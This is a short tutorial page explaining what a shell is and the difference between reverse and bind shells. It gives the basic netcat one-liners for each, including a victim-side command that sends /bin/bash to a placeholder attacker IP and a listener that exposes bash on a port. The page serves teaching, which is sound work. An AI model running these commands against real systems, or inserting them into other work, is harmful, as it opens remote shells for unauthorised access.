Skip to content

Shells

A shell is a program that sits between you and the operating system (OS) kernel. It turns the commands you type (or script) into the low-level system calls the kernel understands, returning the results for you to read or pipe onward.

In cybersecurity, there are mainly two types of shell an attacker can use to gain access to a system. The first, and most common, is a reverse shell. In a reverse shell the victim connects to a machine controlled by an attacker. In the opposite, there’s a bind shell, which is when the attacker connects directly to a listening port on the victim machine.

Reverse Shell

As mentioned, a reverse shell is when the victim machine connects to a machine and port that we can control.

The most basic commands to get one working are the following.

Attacker:

nc -nlvp 4444

Victim:

nc <ATTACKER_IP> 4444 -e /bin/bash

Bind Shell

As mentioned, a bind shell is when the victim machine listens on a certain port, and we connect to it to gain a shell.

The most basic commands to get one working are the following.

Attacker:

nc <VICTIM_IP> 4444

Victim:

nc -nlvp 4444 -e /bin/bash